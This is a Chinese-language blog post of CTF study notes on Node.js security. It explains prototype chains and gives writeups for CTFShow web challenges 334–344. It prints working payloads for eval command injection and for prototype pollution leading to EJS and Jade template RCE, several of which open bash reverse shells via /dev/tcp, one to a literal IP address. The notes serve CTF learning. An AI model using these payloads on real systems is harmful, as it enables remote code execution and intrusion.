CTF Node.js学习
CTF Node.js学习
暑假回家就想开摆了,随便写写了
一、Node.js基础
个人感觉最需要注意的是什么是回调函数,经常使用且在PHP,python C/C++中并没有出现过
二、Node.js安全
这里稍微写一下自己对原型和原型链的一点理解,防止学完就忘了
因为JavaScript中没有类的概念,要实现对象的继承就是通过原型对象来实现。
具体地说,对于一个对象,它会有__proto__属性指向这个对象的原型对象
对于一个函数,特别是构造器函数,会有一个prototype属性指向这个构造器对应的原型对象,这个对象的原型对象的构造器就是这个函数。这个函数通过new关键字可以创造一个对象。
依我用面向对象的方式理解的话,原型或许就可以类比为父类??也不知道对不对
三、CTFShow题解
Web334
看懂代码就行,意思是用户名!=CTFSHOW,但是转大写之后得是CTFSHOW,密码是123456
payload:ctfshow:123456
Web335
使用Node.js调用系统命令
方法一:
文件操作 :
?eval=require(‘fs’).readdirSync(‘.’);
?eval=require(‘fs’).readFileSync(‘fl00g.txt’);
方法二:
执行系统命令
?eval=require(‘child_process’).execSync(‘ls’).toString();
?eval=require(‘child_process’).spawnSync(‘cat’,[‘fl00g.txt’]).output;
?eval=require(‘child_process’).spawnSync(‘cat’,[‘fl00g.txt’]).stdout;
?eval=global.process.mainModule.constructor._load(‘child_process’).exec(‘ls’);
Web336
几乎跟上道题一样
Web337
有关nodejs中的’===’:
(1) 不同类型值比较时,如果两个值的类型不同,直接返回false;
(2) 同一类的原始类型值(数值、字符串、布尔值)之间比较时,值相同就返回true,值不同就返回false;
(3) 同一类的复合类型值(对象、数组、函数)之间比较时,不是比较它们的值是否相等,而是比较它们是否指向同一个对象;
(4) undefined和 null 与自身严格相等。
payload:
1 | a[]=1&b[]=1 //为啥a[]=2&b[]=1不行我也不知道 |
Web338
开始原型链污染了 不会了(悲

payload:{"__proto__": {"ctfshow": "36dboy"}}
Web339&Web340
表达式 Function(query)(query) 的作用是将字符串 query 解析为一个函数,并将其执行。换句话说,它将字符串 query 当作函数体来解析,并立即执行。这样的写法常用于动态执行字符串形式的 JavaScript 代码。
所以只要污染Object.porototype中的query对象即可
payload:
1 | {"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"}} |
先在主页GUI登录,直接抓包改payload(只有一次机会!!!),然后直接访问/api
Web341
ejs rce
payload:
1 | {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}} |
Web342
jade模板RCE,抄的别的大佬的wp
payload:
1 | {"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/121.37.219.181/7777 0>&1\"')"}}} |
Web343
同上。
Web344
payload:
?query={“name”:”admin”&query=”password”:”%63tfshow”&query=”isVIP”:true}
- 标题: CTF Node.js学习
- 作者: yansui
- 创建于: 2023-07-17 11:25:01
- 更新于: 2023-07-17 11:24:26
- 链接: http://yansui.xyz/2023/07/17/nodejs学习总结/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。